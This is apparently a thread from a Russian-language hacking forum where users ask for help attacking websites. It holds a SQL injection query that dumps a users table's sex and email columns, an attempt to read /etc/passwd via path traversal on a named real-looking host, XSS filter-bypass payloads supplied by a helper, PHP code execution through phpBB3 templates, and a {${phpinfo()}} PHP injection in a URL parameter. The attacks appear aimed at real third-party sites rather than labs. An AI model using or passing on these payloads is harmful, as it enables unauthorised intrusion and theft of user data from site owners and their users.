Вопросы по уязвимостям

[durito]

вот впервые столкнулся с такой траблой используя метод 4.2 Объеденение с помощью GROUP_CONCAT
https://rdot.org/forum/showthread.php?t=124
один и тот же запрос, на одном и том же сайте в случае обращения к данным в таблицах разных баз site1.users и site2.users , в первом случае выводит все данные между начальным и конечным значением, во втором - только часть данных с начальным значением. не видя конечного значения, скрипт не дампит. вопрос почему не выводятся все данные включая конечное значение?

/index.php?id=1+and+1%3D2+UNION+SELECT+1%2CCONCAT%280x68646A7338636466323364%2CGROUP_CONCAT%28CONCAT_WS%280x3a%2Csex%2Cemail%29+ORDER+BY+CONCAT_WS%280x3a%2Csex%2Cemail%29+SEPARATOR+0x7c%29%2C0x6A75396F776B65646E7373%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10+FROM+site1.users+WHERE+1--+

в одном случае имеем: hdjs8cdf23d--тут данные--ju9owkednss
в другом : hdjs8cdf23d--тут данные большей частью обрезаются-- конечного значения нет

сайт один, базы разные. что может быть?

[oRb]

group_concat_max_len ?

[Faaax]

помогите плз разобраться,
ни как не получается произвести LFI

http://torpedo.rg.ru:81/team.php?id=../../../../../etc/passwd%00

помогите разобраться 100500 слешей тоже результатов не дали.

[Pronzn]

Здравствуйте. Подскажите пож-та как можно обойти. В шаблоне можно вывести текст. Текст находится внутри html комментария и - экранируются. Т.е. закрыть комментарий не получается. Что можно придумать?

[durito]

oRb скорее всего

[Pashkela]

Сообщение от Pronzn

Здравствуйте. Подскажите пож-та как можно обойти. В шаблоне можно вывести текст. Текст находится внутри html комментария и - экранируются. Т.е. закрыть комментарий не получается. Что можно придумать?

а что надо-то? Сам почитай плз то, что написал, и представь, что не знаешь, о чем идет речь

Тут два варианта - либо тебе надо выполнить php-код, либо javascript. И в том и в другом случае информации не достаточно. Приведи пример того, как выглядит шаблон до и после вставки кода, и точно укажи место, где трабл

PS: если это shop-free - забудь

[Pronzn]

Сообщение от Pashkela

а что надо-то? Сам почитай плз то, что написал, и представь, что не знаешь, о чем идет речь

Тут два варианта - либо тебе надо выполнить php-код, либо javascript. И в том и в другом случае информации не достаточно. Приведи пример того, как выглядит шаблон до и после вставки кода, и точно укажи место, где трабл

PS: если это shop-free - забудь

Нет не shop-free.

есть код

<script type="text/javascript">//
<!--
test111.init({'authuid':'11111'})
//-->
</script>

Значение authuid берется из cookie's. Пробую закрыть комментарий и выполнить алерт.
Передаю "11111-->alert(1)<!--"

Получаю:

<script type="text/javascript">//
<!--
test111.init({'authuid':'11111-\->alert(1)'})
//-->
</script>

"<!--" - обрезалось и в "-->" экранируется второе тире. Как это можно обойти?

[BlackFan]

Сообщение от Pronzn

Нет не shop-free.

есть код

<script type="text/javascript">//
<!--
test111.init({'authuid':'11111'})
//-->
</script>

Значение authuid берется из cookie's. Пробую закрыть комментарий и выполнить алерт.
Передаю "11111-->alert(1)<!--"

Получаю:

<script type="text/javascript">//
<!--
test111.init({'authuid':'11111-\->alert(1)'})
//-->
</script>

"<!--" - обрезалось и в "-->" экранируется второе тире. Как это можно обойти?

'*alert(1)*'
</script><script>alert(1);</script>

[nomad]

Что за ерунда: есть админка phpbb3, включено выполнение php в шаблонах, редактирую шаблон, а весь код после <!-- PHP --> не записывается. Пробовал вычистить полностью шаблон, и просто записать

<!-- PHP -->
   phpinfo();
<!-- ENDPHP -->

В результате в шаблоне остается только <!-- PHP -->
Кто-то сталкивался с таким?

PS Доп.инфо: стиль в системе только один, поэтому вариант правки неактивного стиля исключается.

[rogatiy]

Потёрли мою тему злые модераторы, да даже причину сообщить не изволили. Ну и ладно!
Собснна, вопрос - где можно почитать про синтаксис PHP-инъекций в URL? К примеру, имеется у нас сайт N, а на этом сайте уязвимость /search/?name=, пропускающая PHP-инъекции, то есть запрос /search/?name={${phpinfo()}} выводит phpinfo, а больше я ничего и не могу, ибо синтаксиса не знаю.